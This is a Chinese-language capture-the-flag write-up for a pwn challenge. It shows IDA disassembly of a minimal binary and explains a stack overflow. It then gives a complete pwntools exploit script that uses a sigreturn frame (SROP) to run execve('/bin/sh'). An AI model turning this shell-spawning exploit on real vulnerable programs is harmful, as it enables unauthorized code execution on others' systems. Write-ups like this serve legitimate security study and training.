214 字
1 分钟
13考核wp
将附件拖入ida 发现程序只有两个函数
echo ; ===========================================================================echoecho ; Segment type: Pure codeecho ; Segment permissions: Read/Executeecho _text segment para public 'CODE' use64echo assume cs:_textecho ;org 401000hecho assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothingechoecho ; =============== S U B R O U T I N E =======================================echoecho ; Attributes: bp-based frameechoecho ; signed __int64 echo()echo echo proc near ; CODE XREF: _start↓pecho ; DATA XREF: LOAD:0000000000400088↑oechoecho buf = byte ptr -180hechoecho push rbpecho+1 mov rbp, rspecho+4 sub rsp, 300hecho+B mov eax, 0echo+10 mov edi, 0 ; fdecho+15 lea rsi, [rsp+300h+buf] ; bufecho+1D mov edx, 300h ; countecho+22 syscall ; LINUX - sys_readecho+24 mov rdx, rax ; countecho+27 mov eax, 1echo+2C mov edi, 1 ; fdecho+31 syscall ; LINUX - sys_writeecho+33 leaveecho+34 retnecho+34 echo endpecho+34echo+34 ; ---------------------------------------------------------------------------.text:0000000000401035 aBinSh db '/bin/sh',0_start_start ; =============== S U B R O U T I N E =======================================_start_start ; Attributes: noreturn_start_start public _start_start _start proc near ; DATA XREF: LOAD:0000000000400018↑o_start call echo_start+5 mov eax, 60_start+A mov edi, 0 ; error_code_start+F syscall ; LINUX - sys_exit_start+F _start endp_start+F_start+F _text ends_start+F_start+F_start+F end _start同时 checksec 后发现题目没有开启任何保护,ROPgadget后发现没有什么可以利用的 gadgets 通过分析发现,发现在echo + 15 发现溢出点,题目直接提供了/bin/sh\x00 ,于是考虑使用 SROP, 所以现在的问题是如何没有在 控制 rax 的手段下控制 rax
由于系统调用 read 和 write 会将 输入或者输出的字节数加入到 rax 中,所以我们可以通过控制 read 和 write 的输入输出长度来控制 rax 的值,从而控制 rax 的值,所以我们需要在第一次输出时,布置好栈的结构, 然后再第二次通过控制字符串长度控制rax 触发 SROP
所以得出如下脚本
FILE = "./chal"
from pwn import *context(binary = FILE, log_level = "debug")
elf = ELF(FILE)# rop = ROP(elf)
binshAddr = next(elf.search(b"/bin/sh\x00"))log.success(f"binsh address: {hex(binshAddr)}")syscallAddr = 0x401022
p = process(FILE)raw_input(f"DEBUG - pwndbg -p {p.pid}")
frame = SigreturnFrame()frame.rax = 59frame.rdi = binshAddrframe.rsi = 0frame.rdx = 0frame.rsp = 0frame.rip = 0x401022
log.info(f"frame: {hex(len(bytes(frame)))} bytes")
payload = flat( [ cyclic(0x180), p64(0xdeadbeef), p64(0x401000), p64(0x401022), bytes(frame) ])
pause()p.send(payload)p.send(cyclic(15))p.interactive() 分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐










